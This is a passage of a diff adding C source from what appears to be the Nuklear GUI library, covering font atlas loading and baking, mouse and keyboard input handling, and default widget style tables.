+ if (atlas->pixel) { + atlas->permanent.free(atlas->permanent.userdata, atlas->pixel); + atlas->pixel = 0; + } +} +NK_API struct nk_font* +nk_font_atlas_add(struct nk_font_atlas *atlas, const struct nk_font_config *config) +{ + struct nk_font *font = 0; + struct nk_font_config *cfg; + + NK_ASSERT(atlas); + NK_ASSERT(atlas->permanent.alloc); + NK_ASSERT(atlas->permanent.free); + NK_ASSERT(atlas->temporary.alloc); + NK_ASSERT(atlas->temporary.free); + + NK_ASSERT(config); + NK_ASSERT(config->ttf_blob); + NK_ASSERT(config->ttf_size); + NK_ASSERT(config->size > 0.0f); + + if (!atlas || !config || !config->ttf_blob || !config->ttf_size || config->size <= 0.0f|| + !atlas->permanent.alloc || !atlas->permanent.free || + !atlas->temporary.alloc || !atlas->temporary.free) + return 0; + + /* allocate font config */ + cfg = (struct nk_font_config*) + atlas->permanent.alloc(atlas->permanent.userdata,0, sizeof(struct nk_font_config)); + NK_MEMCPY(cfg, config, sizeof(*config)); + cfg->n = cfg; + cfg->p = cfg; + + if (!config->merge_mode) { + /* insert font config into list */ + if (!atlas->config) { + atlas->config = cfg; + cfg->next = 0; + } else { + struct nk_font_config *i = atlas->config; + while (i->next) i = i->next; + i->next = cfg; + cfg->next = 0; + } + /* allocate new font */ + font = (struct nk_font*) + atlas->permanent.alloc(atlas->permanent.userdata,0, sizeof(struct nk_font)); + NK_ASSERT(font); + nk_zero(font, sizeof(*font)); + if (!font) return 0; + font->config = cfg; + + /* insert font into list */ + if (!atlas->fonts) { + atlas->fonts = font; + font->next = 0; + } else { + struct nk_font *i = atlas->fonts; + while (i->next) i = i->next; + i->next = font; + font->next = 0; + } + cfg->font = &font->info; + } else { + /* extend previously added font */ + struct nk_font *f = 0; + struct nk_font_config *c = 0; + NK_ASSERT(atlas->font_num); + f = atlas->fonts; + c = f->config; + cfg->font = &f->info; + + cfg->n = c; + cfg->p = c->p; + c->p->n = cfg; + c->p = cfg; + } + /* create own copy of .TTF font blob */ + if (!config->ttf_data_owned_by_atlas) { + cfg->ttf_blob = atlas->permanent.alloc(atlas->permanent.userdata,0, cfg->ttf_size); + NK_ASSERT(cfg->ttf_blob); + if (!cfg->ttf_blob) { + atlas->font_num++; + return 0; + } + NK_MEMCPY(cfg->ttf_blob, config->ttf_blob, cfg->ttf_size); + cfg->ttf_data_owned_by_atlas = 1; + } + atlas->font_num++; + return font; +} +NK_API struct nk_font* +nk_font_atlas_add_from_memory(struct nk_font_atlas *atlas, void *memory, + nk_size size, float height, const struct nk_font_config *config) +{ + struct nk_font_config cfg; + NK_ASSERT(memory); + NK_ASSERT(size); + + NK_ASSERT(atlas); + NK_ASSERT(atlas->temporary.alloc); + NK_ASSERT(atlas->temporary.free); + NK_ASSERT(atlas->permanent.alloc); + NK_ASSERT(atlas->permanent.free); + if (!atlas || !atlas->temporary.alloc || !atlas->temporary.free || !memory || !size || + !atlas->permanent.alloc || !atlas->permanent.free) + return 0; + + cfg = (config) ? *config: nk_font_config(height); + cfg.ttf_blob = memory; + cfg.ttf_size = size; + cfg.size = height; + cfg.ttf_data_owned_by_atlas = 0; + return nk_font_atlas_add(atlas, &cfg); +} +#ifdef NK_INCLUDE_STANDARD_IO +NK_API struct nk_font* +nk_font_atlas_add_from_file(struct nk_font_atlas *atlas, const char *file_path, + float height, const struct nk_font_config *config) +{ + nk_size size; + char *memory; + struct nk_font_config cfg; + + NK_ASSERT(atlas); + NK_ASSERT(atlas->temporary.alloc); + NK_ASSERT(atlas->temporary.free); + NK_ASSERT(atlas->permanent.alloc); + NK_ASSERT(atlas->permanent.free); + + if (!atlas || !file_path) return 0; + memory = nk_file_load(file_path, &size, &atlas->permanent); + if (!memory) return 0; + + cfg = (config) ? *config: nk_font_config(height); + cfg.ttf_blob = memory; + cfg.ttf_size = size; + cfg.size = height; + cfg.ttf_data_owned_by_atlas = 1; + return nk_font_atlas_add(atlas, &cfg); +} +#endif +NK_API struct nk_font* +nk_font_atlas_add_compressed(struct nk_font_atlas *atlas, + void *compressed_data, nk_size compressed_size, float height, + const struct nk_font_config *config) +{ + unsigned int decompressed_size; + void *decompressed_data; + struct nk_font_config cfg; + + NK_ASSERT(atlas); + NK_ASSERT(atlas->temporary.alloc); + NK_ASSERT(atlas->temporary.free); + NK_ASSERT(atlas->permanent.alloc); + NK_ASSERT(atlas->permanent.free); + + NK_ASSERT(compressed_data); + NK_ASSERT(compressed_size); + if (!atlas || !compressed_data || !atlas->temporary.alloc || !atlas->temporary.free || + !atlas->permanent.alloc || !atlas->permanent.free) + return 0; + + decompressed_size = nk_decompress_length((unsigned char*)compressed_data); + decompressed_data = atlas->permanent.alloc(atlas->permanent.userdata,0,decompressed_size); + NK_ASSERT(decompressed_data); + if (!decompressed_data) return 0; + nk_decompress((unsigned char*)decompressed_data, (unsigned char*)compressed_data, + (unsigned int)compressed_size); + + cfg = (config) ? *config: nk_font_config(height); + cfg.ttf_blob = decompressed_data; + cfg.ttf_size = decompressed_size; + cfg.size = height; + cfg.ttf_data_owned_by_atlas = 1; + return nk_font_atlas_add(atlas, &cfg); +} +NK_API struct nk_font* +nk_font_atlas_add_compressed_base85(struct nk_font_atlas *atlas, + const char *data_base85, float height, const struct nk_font_config *config) +{ + int compressed_size; + void *compressed_data; + struct nk_font *font; + + NK_ASSERT(atlas); + NK_ASSERT(atlas->temporary.alloc); + NK_ASSERT(atlas->temporary.free); + NK_ASSERT(atlas->permanent.alloc); + NK_ASSERT(atlas->permanent.free); + + NK_ASSERT(data_base85); + if (!atlas || !data_base85 || !atlas->temporary.alloc || !atlas->temporary.free || + !atlas->permanent.alloc || !atlas->permanent.free) + return 0; + + compressed_size = (((int)nk_strlen(data_base85) + 4) / 5) * 4; + compressed_data = atlas->temporary.alloc(atlas->temporary.userdata,0, (nk_size)compressed_size); + NK_ASSERT(compressed_data); + if (!compressed_data) return 0; + nk_decode_85((unsigned char*)compressed_data, (const unsigned char*)data_base85); + font = nk_font_atlas_add_compressed(atlas, compressed_data, + (nk_size)compressed_size, height, config); + atlas->temporary.free(atlas->temporary.userdata, compressed_data); + return font; +} + +#ifdef NK_INCLUDE_DEFAULT_FONT +NK_API struct nk_font* +nk_font_atlas_add_default(struct nk_font_atlas *atlas, + float pixel_height, const struct nk_font_config *config) +{ + NK_ASSERT(atlas); + NK_ASSERT(atlas->temporary.alloc); + NK_ASSERT(atlas->temporary.free); + NK_ASSERT(atlas->permanent.alloc); + NK_ASSERT(atlas->permanent.free); + return nk_font_atlas_add_compressed_base85(atlas, + nk_proggy_clean_ttf_compressed_data_base85, pixel_height, config); +} +#endif +NK_API const void* +nk_font_atlas_bake(struct nk_font_atlas *atlas, int *width, int *height, + enum nk_font_atlas_format fmt) +{ + int i = 0; + void *tmp = 0; + nk_size tmp_size, img_size; + struct nk_font *font_iter; + struct nk_font_baker *baker; + + NK_ASSERT(atlas); + NK_ASSERT(atlas->temporary.alloc); + NK_ASSERT(atlas->temporary.free); + NK_ASSERT(atlas->permanent.alloc); + NK_ASSERT(atlas->permanent.free); + + NK_ASSERT(width); + NK_ASSERT(height); + if (!atlas || !width || !height || + !atlas->temporary.alloc || !atlas->temporary.free || + !atlas->permanent.alloc || !atlas->permanent.free) + return 0; + +#ifdef NK_INCLUDE_DEFAULT_FONT + /* no font added so just use default font */ + if (!atlas->font_num) + atlas->default_font = nk_font_atlas_add_default(atlas, 13.0f, 0); +#endif + NK_ASSERT(atlas->font_num); + if (!atlas->font_num) return 0; + + /* allocate temporary baker memory required for the baking process */ + nk_font_baker_memory(&tmp_size, &atlas->glyph_count, atlas->config, atlas->font_num); + tmp = atlas->temporary.alloc(atlas->temporary.userdata,0, tmp_size); + NK_ASSERT(tmp); + if (!tmp) goto failed; + + /* allocate glyph memory for all fonts */ + baker = nk_font_baker(tmp, atlas->glyph_count, atlas->font_num, &atlas->temporary); + atlas->glyphs = (struct nk_font_glyph*)atlas->permanent.alloc( + atlas->permanent.userdata,0, sizeof(struct nk_font_glyph)*(nk_size)atlas->glyph_count); + NK_ASSERT(atlas->glyphs); + if (!atlas->glyphs) + goto failed; + + /* pack all glyphs into a tight fit space */ + atlas->custom.w = (NK_CURSOR_DATA_W*2)+1; + atlas->custom.h = NK_CURSOR_DATA_H + 1; + if (!nk_font_bake_pack(baker, &img_size, width, height, &atlas->custom, + atlas->config, atlas->font_num, &atlas->temporary)) + goto failed; + + /* allocate memory for the baked image font atlas */ + atlas->pixel = atlas->temporary.alloc(atlas->temporary.userdata,0, img_size); + NK_ASSERT(atlas->pixel); + if (!atlas->pixel) + goto failed; + + /* bake glyphs and custom white pixel into image */ + nk_font_bake(baker, atlas->pixel, *width, *height, + atlas->glyphs, atlas->glyph_count, atlas->config, atlas->font_num); + nk_font_bake_custom_data(atlas->pixel, *width, *height, atlas->custom, + nk_custom_cursor_data, NK_CURSOR_DATA_W, NK_CURSOR_DATA_H, '.', 'X'); + + if (fmt == NK_FONT_ATLAS_RGBA32) { + /* convert alpha8 image into rgba32 image */ + void *img_rgba = atlas->temporary.alloc(atlas->temporary.userdata,0, + (nk_size)(*width * *height * 4)); + NK_ASSERT(img_rgba); + if (!img_rgba) goto failed; + nk_font_bake_convert(img_rgba, *width, *height, atlas->pixel); + atlas->temporary.free(atlas->temporary.userdata, atlas->pixel); + atlas->pixel = img_rgba; + } + atlas->tex_width = *width; + atlas->tex_height = *height; + + /* initialize each font */ + for (font_iter = atlas->fonts; font_iter; font_iter = font_iter->next) { + struct nk_font *font = font_iter; + struct nk_font_config *config = font->config; + nk_font_init(font, config->size, config->fallback_glyph, atlas->glyphs, + config->font, nk_handle_ptr(0)); + } + + /* initialize each cursor */ + {NK_STORAGE const struct nk_vec2 nk_cursor_data[NK_CURSOR_COUNT][3] = { + /* Pos Size Offset */ + {{ 0, 3}, {12,19}, { 0, 0}}, + {{13, 0}, { 7,16}, { 4, 8}}, + {{31, 0}, {23,23}, {11,11}}, + {{21, 0}, { 9, 23}, { 5,11}}, + {{55,18}, {23, 9}, {11, 5}}, + {{73, 0}, {17,17}, { 9, 9}}, + {{55, 0}, {17,17}, { 9, 9}} + }; + for (i = 0; i < NK_CURSOR_COUNT; ++i) { + struct nk_cursor *cursor = &atlas->cursors[i]; + cursor->img.w = (unsigned short)*width; + cursor->img.h = (unsigned short)*height; + cursor->img.region[0] = (unsigned short)(atlas->custom.x + nk_cursor_data[i][0].x); + cursor->img.region[1] = (unsigned short)(atlas->custom.y + nk_cursor_data[i][0].y); + cursor->img.region[2] = (unsigned short)nk_cursor_data[i][1].x; + cursor->img.region[3] = (unsigned short)nk_cursor_data[i][1].y; + cursor->size = nk_cursor_data[i][1]; + cursor->offset = nk_cursor_data[i][2]; + }} + /* free temporary memory */ + atlas->temporary.free(atlas->temporary.userdata, tmp); + return atlas->pixel; + +failed: + /* error so cleanup all memory */ + if (tmp) atlas->temporary.free(atlas->temporary.userdata, tmp); + if (atlas->glyphs) { + atlas->permanent.free(atlas->permanent.userdata, atlas->glyphs); + atlas->glyphs = 0; + } + if (atlas->pixel) { + atlas->temporary.free(atlas->temporary.userdata, atlas->pixel); + atlas->pixel = 0; + } + return 0; +} +NK_API void +nk_font_atlas_end(struct nk_font_atlas *atlas, nk_handle texture, + struct nk_draw_null_texture *null) +{ + int i = 0; + struct nk_font *font_iter; + NK_ASSERT(atlas); + if (!atlas) { + if (!null) return; + null->texture = texture; + null->uv = nk_vec2(0.5f,0.5f); + } + if (null) { + null->texture = texture; + null->uv.x = (atlas->custom.x + 0.5f)/(float)atlas->tex_width; + null->uv.y = (atlas->custom.y + 0.5f)/(float)atlas->tex_height; + } + for (font_iter = atlas->fonts; font_iter; font_iter = font_iter->next) { + font_iter->texture = texture; +#ifdef NK_INCLUDE_VERTEX_BUFFER_OUTPUT + font_iter->handle.texture = texture; +#endif + } + for (i = 0; i < NK_CURSOR_COUNT; ++i) + atlas->cursors[i].img.handle = texture; + + atlas->temporary.free(atlas->temporary.userdata, atlas->pixel); + atlas->pixel = 0; + atlas->tex_width = 0; + atlas->tex_height = 0; + atlas->custom.x = 0; + atlas->custom.y = 0; + atlas->custom.w = 0; + atlas->custom.h = 0; +} +NK_API void +nk_font_atlas_cleanup(struct nk_font_atlas *atlas) +{ + NK_ASSERT(atlas); + NK_ASSERT(atlas->temporary.alloc); + NK_ASSERT(atlas->temporary.free); + NK_ASSERT(atlas->permanent.alloc); + NK_ASSERT(atlas->permanent.free); + if (!atlas || !atlas->permanent.alloc || !atlas->permanent.free) return; + if (atlas->config) { + struct nk_font_config *iter; + for (iter = atlas->config; iter; iter = iter->next) { + struct nk_font_config *i; + for (i = iter->n; i != iter; i = i->n) { + atlas->permanent.free(atlas->permanent.userdata, i->ttf_blob); + i->ttf_blob = 0; + } + atlas->permanent.free(atlas->permanent.userdata, iter->ttf_blob); + iter->ttf_blob = 0; + } + } +} +NK_API void +nk_font_atlas_clear(struct nk_font_atlas *atlas) +{ + NK_ASSERT(atlas); + NK_ASSERT(atlas->temporary.alloc); + NK_ASSERT(atlas->temporary.free); + NK_ASSERT(atlas->permanent.alloc); + NK_ASSERT(atlas->permanent.free); + if (!atlas || !atlas->permanent.alloc || !atlas->permanent.free) return; + + if (atlas->config) { + struct nk_font_config *iter, *next; + for (iter = atlas->config; iter; iter = next) { + struct nk_font_config *i, *n; + for (i = iter->n; i != iter; i = n) { + n = i->n; + if (i->ttf_blob) + atlas->permanent.free(atlas->permanent.userdata, i->ttf_blob); + atlas->permanent.free(atlas->permanent.userdata, i); + } + next = iter->next; + if (i->ttf_blob) + atlas->permanent.free(atlas->permanent.userdata, iter->ttf_blob); + atlas->permanent.free(atlas->permanent.userdata, iter); + } + atlas->config = 0; + } + if (atlas->fonts) { + struct nk_font *iter, *next; + for (iter = atlas->fonts; iter; iter = next) { + next = iter->next; + atlas->permanent.free(atlas->permanent.userdata, iter); + } + atlas->fonts = 0; + } + if (atlas->glyphs) + atlas->permanent.free(atlas->permanent.userdata, atlas->glyphs); + nk_zero_struct(*atlas); +} +#endif + + + + + +/* =============================================================== + * + * INPUT + * + * ===============================================================*/ +NK_API void +nk_input_begin(struct nk_context *ctx) +{ + int i; + struct nk_input *in; + NK_ASSERT(ctx); + if (!ctx) return; + in = &ctx->input; + for (i = 0; i < NK_BUTTON_MAX; ++i) + in->mouse.buttons[i].clicked = 0; + + in->keyboard.text_len = 0; + in->mouse.scroll_delta = nk_vec2(0,0); + in->mouse.prev.x = in->mouse.pos.x; + in->mouse.prev.y = in->mouse.pos.y; + in->mouse.delta.x = 0; + in->mouse.delta.y = 0; + for (i = 0; i < NK_KEY_MAX; i++) + in->keyboard.keys[i].clicked = 0; +} +NK_API void +nk_input_end(struct nk_context *ctx) +{ + struct nk_input *in; + NK_ASSERT(ctx); + if (!ctx) return; + in = &ctx->input; + if (in->mouse.grab) + in->mouse.grab = 0; + if (in->mouse.ungrab) { + in->mouse.grabbed = 0; + in->mouse.ungrab = 0; + in->mouse.grab = 0; + } +} +NK_API void +nk_input_motion(struct nk_context *ctx, int x, int y) +{ + struct nk_input *in; + NK_ASSERT(ctx); + if (!ctx) return; + in = &ctx->input; + in->mouse.pos.x = (float)x; + in->mouse.pos.y = (float)y; + in->mouse.delta.x = in->mouse.pos.x - in->mouse.prev.x; + in->mouse.delta.y = in->mouse.pos.y - in->mouse.prev.y; +} +NK_API void +nk_input_key(struct nk_context *ctx, enum nk_keys key, int down) +{ + struct nk_input *in; + NK_ASSERT(ctx); + if (!ctx) return; + in = &ctx->input; +#ifdef NK_KEYSTATE_BASED_INPUT + if (in->keyboard.keys[key].down != down) + in->keyboard.keys[key].clicked++; +#else + in->keyboard.keys[key].clicked++; +#endif + in->keyboard.keys[key].down = down; +} +NK_API void +nk_input_button(struct nk_context *ctx, enum nk_buttons id, int x, int y, int down) +{ + struct nk_mouse_button *btn; + struct nk_input *in; + NK_ASSERT(ctx); + if (!ctx) return; + in = &ctx->input; + if (in->mouse.buttons[id].down == down) return; + + btn = &in->mouse.buttons[id]; + btn->clicked_pos.x = (float)x; + btn->clicked_pos.y = (float)y; + btn->down = down; + btn->clicked++; +} +NK_API void +nk_input_scroll(struct nk_context *ctx, struct nk_vec2 val) +{ + NK_ASSERT(ctx); + if (!ctx) return; + ctx->input.mouse.scroll_delta.x += val.x; + ctx->input.mouse.scroll_delta.y += val.y; +} +NK_API void +nk_input_glyph(struct nk_context *ctx, const nk_glyph glyph) +{ + int len = 0; + nk_rune unicode; + struct nk_input *in; + + NK_ASSERT(ctx); + if (!ctx) return; + in = &ctx->input; + + len = nk_utf_decode(glyph, &unicode, NK_UTF_SIZE); + if (len && ((in->keyboard.text_len + len) < NK_INPUT_MAX)) { + nk_utf_encode(unicode, &in->keyboard.text[in->keyboard.text_len], + NK_INPUT_MAX - in->keyboard.text_len); + in->keyboard.text_len += len; + } +} +NK_API void +nk_input_char(struct nk_context *ctx, char c) +{ + nk_glyph glyph; + NK_ASSERT(ctx); + if (!ctx) return; + glyph[0] = c; + nk_input_glyph(ctx, glyph); +} +NK_API void +nk_input_unicode(struct nk_context *ctx, nk_rune unicode) +{ + nk_glyph rune; + NK_ASSERT(ctx); + if (!ctx) return; + nk_utf_encode(unicode, rune, NK_UTF_SIZE); + nk_input_glyph(ctx, rune); +} +NK_API int +nk_input_has_mouse_click(const struct nk_input *i, enum nk_buttons id) +{ + const struct nk_mouse_button *btn; + if (!i) return nk_false; + btn = &i->mouse.buttons[id]; + return (btn->clicked && btn->down == nk_false) ? nk_true : nk_false; +} +NK_API int +nk_input_has_mouse_click_in_rect(const struct nk_input *i, enum nk_buttons id, + struct nk_rect b) +{ + const struct nk_mouse_button *btn; + if (!i) return nk_false; + btn = &i->mouse.buttons[id]; + if (!NK_INBOX(btn->clicked_pos.x,btn->clicked_pos.y,b.x,b.y,b.w,b.h)) + return nk_false; + return nk_true; +} +NK_API int +nk_input_has_mouse_click_down_in_rect(const struct nk_input *i, enum nk_buttons id, + struct nk_rect b, int down) +{ + const struct nk_mouse_button *btn; + if (!i) return nk_false; + btn = &i->mouse.buttons[id]; + return nk_input_has_mouse_click_in_rect(i, id, b) && (btn->down == down); +} +NK_API int +nk_input_is_mouse_click_in_rect(const struct nk_input *i, enum nk_buttons id, + struct nk_rect b) +{ + const struct nk_mouse_button *btn; + if (!i) return nk_false; + btn = &i->mouse.buttons[id]; + return (nk_input_has_mouse_click_down_in_rect(i, id, b, nk_false) && + btn->clicked) ? nk_true : nk_false; +} +NK_API int +nk_input_is_mouse_click_down_in_rect(const struct nk_input *i, enum nk_buttons id, + struct nk_rect b, int down) +{ + const struct nk_mouse_button *btn; + if (!i) return nk_false; + btn = &i->mouse.buttons[id]; + return (nk_input_has_mouse_click_down_in_rect(i, id, b, down) && + btn->clicked) ? nk_true : nk_false; +} +NK_API int +nk_input_any_mouse_click_in_rect(const struct nk_input *in, struct nk_rect b) +{ + int i, down = 0; + for (i = 0; i < NK_BUTTON_MAX; ++i) + down = down || nk_input_is_mouse_click_in_rect(in, (enum nk_buttons)i, b); + return down; +} +NK_API int +nk_input_is_mouse_hovering_rect(const struct nk_input *i, struct nk_rect rect) +{ + if (!i) return nk_false; + return NK_INBOX(i->mouse.pos.x, i->mouse.pos.y, rect.x, rect.y, rect.w, rect.h); +} +NK_API int +nk_input_is_mouse_prev_hovering_rect(const struct nk_input *i, struct nk_rect rect) +{ + if (!i) return nk_false; + return NK_INBOX(i->mouse.prev.x, i->mouse.prev.y, rect.x, rect.y, rect.w, rect.h); +} +NK_API int +nk_input_mouse_clicked(const struct nk_input *i, enum nk_buttons id, struct nk_rect rect) +{ + if (!i) return nk_false; + if (!nk_input_is_mouse_hovering_rect(i, rect)) return nk_false; + return nk_input_is_mouse_click_in_rect(i, id, rect); +} +NK_API int +nk_input_is_mouse_down(const struct nk_input *i, enum nk_buttons id) +{ + if (!i) return nk_false; + return i->mouse.buttons[id].down; +} +NK_API int +nk_input_is_mouse_pressed(const struct nk_input *i, enum nk_buttons id) +{ + const struct nk_mouse_button *b; + if (!i) return nk_false; + b = &i->mouse.buttons[id]; + if (b->down && b->clicked) + return nk_true; + return nk_false; +} +NK_API int +nk_input_is_mouse_released(const struct nk_input *i, enum nk_buttons id) +{ + if (!i) return nk_false; + return (!i->mouse.buttons[id].down && i->mouse.buttons[id].clicked); +} +NK_API int +nk_input_is_key_pressed(const struct nk_input *i, enum nk_keys key) +{ + const struct nk_key *k; + if (!i) return nk_false; + k = &i->keyboard.keys[key]; + if ((k->down && k->clicked) || (!k->down && k->clicked >= 2)) + return nk_true; + return nk_false; +} +NK_API int +nk_input_is_key_released(const struct nk_input *i, enum nk_keys key) +{ + const struct nk_key *k; + if (!i) return nk_false; + k = &i->keyboard.keys[key]; + if ((!k->down && k->clicked) || (k->down && k->clicked >= 2)) + return nk_true; + return nk_false; +} +NK_API int +nk_input_is_key_down(const struct nk_input *i, enum nk_keys key) +{ + const struct nk_key *k; + if (!i) return nk_false; + k = &i->keyboard.keys[key]; + if (k->down) return nk_true; + return nk_false; +} + + + + + +/* =============================================================== + * + * STYLE + * + * ===============================================================*/ +NK_API void nk_style_default(struct nk_context *ctx){nk_style_from_table(ctx, 0);} +#define NK_COLOR_MAP(NK_COLOR)\ + NK_COLOR(NK_COLOR_TEXT, 175,175,175,255) \ + NK_COLOR(NK_COLOR_WINDOW, 45, 45, 45, 255) \ + NK_COLOR(NK_COLOR_HEADER, 40, 40, 40, 255) \ + NK_COLOR(NK_COLOR_BORDER, 65, 65, 65, 255) \ + NK_COLOR(NK_COLOR_BUTTON, 50, 50, 50, 255) \ + NK_COLOR(NK_COLOR_BUTTON_HOVER, 40, 40, 40, 255) \ + NK_COLOR(NK_COLOR_BUTTON_ACTIVE, 35, 35, 35, 255) \ + NK_COLOR(NK_COLOR_TOGGLE, 100,100,100,255) \ + NK_COLOR(NK_COLOR_TOGGLE_HOVER, 120,120,120,255) \ + NK_COLOR(NK_COLOR_TOGGLE_CURSOR, 45, 45, 45, 255) \ + NK_COLOR(NK_COLOR_SELECT, 45, 45, 45, 255) \ + NK_COLOR(NK_COLOR_SELECT_ACTIVE, 35, 35, 35,255) \ + NK_COLOR(NK_COLOR_SLIDER, 38, 38, 38, 255) \ + NK_COLOR(NK_COLOR_SLIDER_CURSOR, 100,100,100,255) \ + NK_COLOR(NK_COLOR_SLIDER_CURSOR_HOVER, 120,120,120,255) \ + NK_COLOR(NK_COLOR_SLIDER_CURSOR_ACTIVE, 150,150,150,255) \ + NK_COLOR(NK_COLOR_PROPERTY, 38, 38, 38, 255) \ + NK_COLOR(NK_COLOR_EDIT, 38, 38, 38, 255) \ + NK_COLOR(NK_COLOR_EDIT_CURSOR, 175,175,175,255) \ + NK_COLOR(NK_COLOR_COMBO, 45, 45, 45, 255) \ + NK_COLOR(NK_COLOR_CHART, 120,120,120,255) \ + NK_COLOR(NK_COLOR_CHART_COLOR, 45, 45, 45, 255) \ + NK_COLOR(NK_COLOR_CHART_COLOR_HIGHLIGHT, 255, 0, 0, 255) \ + NK_COLOR(NK_COLOR_SCROLLBAR, 40, 40, 40, 255) \ + NK_COLOR(NK_COLOR_SCROLLBAR_CURSOR, 100,100,100,255) \ + NK_COLOR(NK_COLOR_SCROLLBAR_CURSOR_HOVER, 120,120,120,255) \ + NK_COLOR(NK_COLOR_SCROLLBAR_CURSOR_ACTIVE, 150,150,150,255) \ + NK_COLOR(NK_COLOR_TAB_HEADER, 40, 40, 40,255) + +NK_GLOBAL const struct nk_color +nk_default_color_style[NK_COLOR_COUNT] = { +#define NK_COLOR(a,b,c,d,e) {b,c,d,e}, + NK_COLOR_MAP(NK_COLOR) +#undef NK_COLOR +}; +NK_GLOBAL const char *nk_color_names[NK_COLOR_COUNT] = { +#define NK_COLOR(a,b,c,d,e) #a, + NK_COLOR_MAP(NK_COLOR) +#undef NK_COLOR +}; + +NK_API const char* +nk_style_get_color_by_name(enum nk_style_colors c) +{ + return nk_color_names[c]; +} +NK_API struct nk_style_item +nk_style_item_image(struct nk_image img) +{ + struct nk_style_item i; + i.type = NK_STYLE_ITEM_IMAGE; + i.data.image = img; + return i; +} +NK_API struct nk_style_item +nk_style_item_color(struct nk_color col) +{ + struct nk_style_item i; + i.type = NK_STYLE_ITEM_COLOR; + i.data.color = col; + return i; +} +NK_API struct nk_style_item +nk_style_item_hide(void) +{ + struct nk_style_item i; + i.type = NK_STYLE_ITEM_COLOR; + i.data.color = nk_rgba(0,0,0,0); + return i; +} +NK_API void +nk_style_from_table(struct nk_context *ctx, const struct nk_color *table) +{ + struct nk_style *style; + struct nk_style_text *text; + struct nk_style_button *button; + struct nk_style_toggle *toggle; + struct nk_style_selectable *select; + struct nk_style_slider *slider; + struct nk_style_progress *prog; + struct nk_style_scrollbar *scroll; + struct nk_style_edit *edit; + struct nk_style_property *property; + struct nk_style_combo *combo; + struct nk_style_chart *chart; + struct nk_style_tab *tab; + struct nk_style_window *win; + + NK_ASSERT(ctx); + if (!ctx) return; + style = &ctx->style; + table = (!table) ? nk_default_color_style: table; + + /* default text */ + text = &style->text; + text->color = table[NK_COLOR_TEXT]; + text->padding = nk_vec2(0,0); + + /* default button */ + button = &style->button; + nk_zero_struct(*button); + button->normal = nk_style_item_color(table[NK_COLOR_BUTTON]); + button->hover = nk_style_item_color(table[NK_COLOR_BUTTON_HOVER]); + button->active = nk_style_item_color(table[NK_COLOR_BUTTON_ACTIVE]); + button->border_color = table[NK_COLOR_BORDER]; + button->text_background = table[NK_COLOR_BUTTON]; + button->text_normal = table[NK_COLOR_TEXT]; + button->text_hover = table[NK_COLOR_TEXT]; + button->text_active = table[NK_COLOR_TEXT]; + button->padding = nk_vec2(2.0f,2.0f); + button->image_padding = nk_vec2(0.0f,0.0f); + button->touch_padding = nk_vec2(0.0f, 0.0f); + button->userdata = nk_handle_ptr(0); + button->text_alignment = NK_TEXT_CENTERED; + button->border = 1.0f; + button->rounding = 4.0f; + button->draw_begin = 0; + button->draw_end = 0; + + /* contextual button */ + button = &style->contextual_button; + nk_zero_struct(*button); + button->normal = nk_style_item_color(table[NK_COLOR_WINDOW]); + button->hover = nk_style_item_color(table[NK_COLOR_BUTTON_HOVER]); + button->active = nk_style_item_color(table[NK_COLOR_BUTTON_ACTIVE]); + button->border_color = table[NK_COLOR_WINDOW]; + button->text_background = table[NK_COLOR_WINDOW]; + button->text_normal = table[NK_COLOR_TEXT]; + button->text_hover = table[NK_COLOR_TEXT]; + button->text_active = table[NK_COLOR_TEXT]; + button->padding = nk_vec2(2.0f,2.0f); + button->touch_padding = nk_vec2(0.0f,0.0f); + button->userdata = nk_handle_ptr(0); + button->text_alignment = NK_TEXT_CENTERED; + button->border = 0.0f; + button->rounding = 0.0f; + button->draw_begin = 0; + button->draw_end = 0; + + /* menu button */ + button = &style->menu_button; + nk_zero_struct(*button); + button->normal = nk_style_item_color(table[NK_COLOR_WINDOW]); + button->hover = nk_style_item_color(table[NK_COLOR_WINDOW]); + button->active = nk_style_item_color(table[NK_COLOR_WINDOW]); + button->border_color = table[NK_COLOR_WINDOW]; + button->text_background = table[NK_COLOR_WINDOW]; + button->text_normal = table[NK_COLOR_TEXT]; + button->text_hover = table[NK_COLOR_TEXT]; + button->text_active = table[NK_COLOR_TEXT]; + button->padding = nk_vec2(2.0f,2.0f); + button->touch_padding = nk_vec2(0.0f,0.0f); + button->userdata = nk_handle_ptr(0); + button->text_alignment = NK_TEXT_CENTERED; + button->border = 0.0f; + button->rounding = 1.0f; + button->draw_begin = 0; + button->draw_end = 0; + + /* checkbox toggle */ + toggle = &style->checkbox; + nk_zero_struct(*toggle); + toggle->normal = nk_style_item_color(table[NK_COLOR_TOGGLE]); + toggle->hover = nk_style_item_color(table[NK_COLOR_TOGGLE_HOVER]); + toggle->active = nk_style_item_color(table[NK_COLOR_TOGGLE_HOVER]); + toggle->cursor_normal = nk_style_item_color(table[NK_COLOR_TOGGLE_CURSOR]); + toggle->cursor_hover = nk_style_item_color(table[NK_COLOR_TOGGLE_CURSOR]); + toggle->userdata = nk_handle_ptr(0); + toggle->text_background = table[NK_COLOR_WINDOW]; + toggle->text_normal = table[NK_COLOR_TEXT]; + toggle->text_hover = table[NK_COLOR_TEXT]; + toggle->text_active = table[NK_COLOR_TEXT]; + toggle->padding = nk_vec2(2.0f, 2.0f); + toggle->touch_padding = nk_vec2(0,0); + toggle->border_color = nk_rgba(0,0,0,0); + toggle->border = 0.0f; + toggle->spacing = 4; + + /* option toggle */ + toggle = &style->option; + nk_zero_struct(*toggle); + toggle->normal = nk_style_item_color(table[NK_COLOR_TOGGLE]); + toggle->hover = nk_style_item_color(table[NK_COLOR_TOGGLE_HOVER]); + toggle->active = nk_style_item_color(table[NK_COLOR_TOGGLE_HOVER]); + toggle->cursor_normal = nk_style_item_color(table[NK_COLOR_TOGGLE_CURSOR]); + toggle->cursor_hover = nk_style_item_color(table[NK_COLOR_TOGGLE_CURSOR]); + toggle->userdata = nk_handle_ptr(0); + toggle->text_background = table[NK_COLOR_WINDOW]; + toggle->text_normal = table[NK_COLOR_TEXT]; + toggle->text_hover = table[NK_COLOR_TEXT]; + toggle->text_active = table[NK_COLOR_TEXT]; + toggle->padding = nk_vec2(3.0f, 3.0f); + toggle->touch_padding = nk_vec2(0,0); + toggle->border_color = nk_rgba(0,0,0,0); + toggle->border = 0.0f; + toggle->spacing = 4; + + /* selectable */ + select = &style->selectable; + nk_zero_struct(*select); + select->normal = nk_style_item_color(table[NK_COLOR_SELECT]); + select->hover = nk_style_item_color(table[NK_COLOR_SELECT]); + select->pressed = nk_style_item_color(table[NK_COLOR_SELECT]); + select->normal_active = nk_style_item_color(table[NK_COLOR_SELECT_ACTIVE]); + select->hover_active = 